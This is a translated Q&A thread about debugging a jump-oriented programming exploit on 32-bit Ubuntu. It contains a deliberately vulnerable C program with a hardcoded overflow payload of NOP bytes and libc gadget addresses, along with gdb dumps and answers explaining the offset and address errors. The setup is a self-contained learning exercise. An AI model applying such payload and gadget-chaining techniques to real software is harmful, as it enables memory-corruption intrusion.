【问题标题】:Why does stack smaching for changing the return address, can not change the control flow of my program?为什么堆栈smaching改变返回地址,不能改变我程序的控制流程?
【发布时间】:2013-08-23 05:07:24
【问题描述】:

实际上,我正在尝试在 Ubuntu 12.10 32 位和 Intel x86 架构中编写和执行一个面向跳转的编程示例。我希望它在目标系统上执行的第一个小工具以 POPA 指令开始。我通过使用找到了它的偏移地址 objdump -D /lib/libc.so.6 > Cdump.txt 从 Cdump.txt 文件。然后我用 gdb 运行了我的易受攻击的程序,并使用这些命令找到了我的程序的可执行段范围:

ps ax|grep vul 

21193 pts/2    S+     0:00 gdb vul

==>查找“gdb vul”的进程号。

grep libc /proc/21193/maps

b7a4a000-b7bed000 r-xp 00000000 08:01 656054     /lib/i386-linux-gnu/libc-2.15.so

==>找出可执行程序在内存中的加载位置。

我写了我的任意指令地址序列,并关闭了 ASLR 和 Canary 保护。这是我的简单代码溢出堆栈并更改堆栈中“返回”的内容以触发我的 JOP 序列。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
char Buff[4];
memcpy(Buff, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd5\x7a\xbb\xb7\xd6\x7a\xbb\xb7\xd8\x7a\xbb\xb7\xdb\x7a\xbb\xb7\x9c\xf6\xff\xbf\x00\x60\xfc\xb7\xcc\xf6\xff\xbf\x24\xf7\xff\xbf\xb4\xf6\xff\xbf", 52);
return;
}

我调试程序并监视堆栈内容并注册信息。一切正常,直到 esp 到达 (%ebp)+8 地址,即返回后的地址。这 4 个字节应该根据 POPA 指令加载 edi,该指令按 edi、esi、ebp、esp、ebx、edx、ecx、eax 的顺序加载。

所以 edi 应该通过这个地址加载 = 0xB7BB7AD6 返回栈中的内容为 = 0xB7BB7AD5(POPA 地址)

但是在 memcpy() 并且它想离开之后,我收到了这条消息:

Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0xb7bb7ad6: Input/output error.

0xb7bb7ad5 in ?? ()

这是什么错误?为什么我不能将程序的控制流更改为进程可执行内存中的另一条指令?

请在下面查看更多详细信息:

这是堆栈顶部的 12 个单词:

(gdb) x /12wx $esp-20
0xbffff67c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff68c: 0xb7bb7ad5  0xb7bb7ad6  0xb7bb7ad8  0xb7bb7adb
0xbffff69c: 0xbffff69c  0xb7fc6000  0xbffff6cc  0xbffff724

并注册:

(gdb) info registers
eax            0xbffff67c   -1073744260
ecx            0xbffff6b4   -1073744204
edx            0xbffff6b0   -1073744208
ebx            0xb7fc6000   -1208197120
esp            0xbffff690   0xbffff690
ebp            0x90909090   0x90909090
esi            0x0  0
edi            0x0  0
eip            0xb7bb7ad5   0xb7bb7ad5
eflags         0x200283 [ CF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

【问题讨论】:

  • 这听起来像是 debugger 的问题(它被你的堆栈弄乱了),而不是你原则上的方法。
  • 是的,谢谢您的回答,我考虑了一下并通过在“return”处设置断点(在易受攻击的代码中)进行测试。然后通过 gdb 中的选项“next”调试程序,该选项会跳过该函数。但它也没有成功。或者你的意思是别的?你能解释一下吗?非常感谢
  • 我真的不确定细节 - 我主要是猜测:如果调试器通过覆盖代码插入断点,并且它尝试在 after 之后插入断点函数返回,但在您破坏堆栈后,它可能会尝试将断点写入到只读的库代码中。但这只是一个猜测。我想调试器通常能够单步执行库代码,所以如果它不能写在那里实际上会很奇怪。也许它正在尝试写入一个不存在的地址,而不是像 0x90909090。

标签: assembly x86 stack-overflow cpu-registers exploit


【解决方案1】:

地址0xB7BB7AD5不是你程序的代码,而是“libc-2.15.so”共享库的代码。此内存受到保护,因此您无法在其中写入。

【讨论】:

  • 好吧,我也不想写在那里。我只是将程序流更改为同一进程的另一个地址。我的意思是我不想在那里注入任何指令,我只是使用目标系统中可用的代码。我的程序是一个 C 程序,因此它可以访问这个范围的 libc-2.15.so 。
【解决方案2】:

首先,我选择了错误的进程“gdb vul”是gdb的进程而不是vul本身。因此基地址是错误的,我没有寻址到我的进程的可执行段。

其次,当它出现在我的 shell 中时,有 16 个无用字节可写入 Buff 和 ebp 的 4 个字节。这是因为当我用 8 字节 "\x90" (Buff[4] + ebp) 调试程序时,注入堆栈的值比它们应该在的位置晚了 8 个字节。我知道在 Ubuntu 12.10 中,编译器调用 memcpy() 并将一些值推入堆栈。这就是我在堆栈中的值似乎发生变化的原因!但是在 Ubuntu 12.04 中,编译器不会调用 memcpy() 而是在代码中实现它。因此,覆盖堆栈的值位于它们的确切位置,没有任何偏移。

【讨论】:

    猜你喜欢
    • 2015-09-28
    • 2019-02-02
    • 1970-01-01
    • 1970-01-01
    • 2020-09-23
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多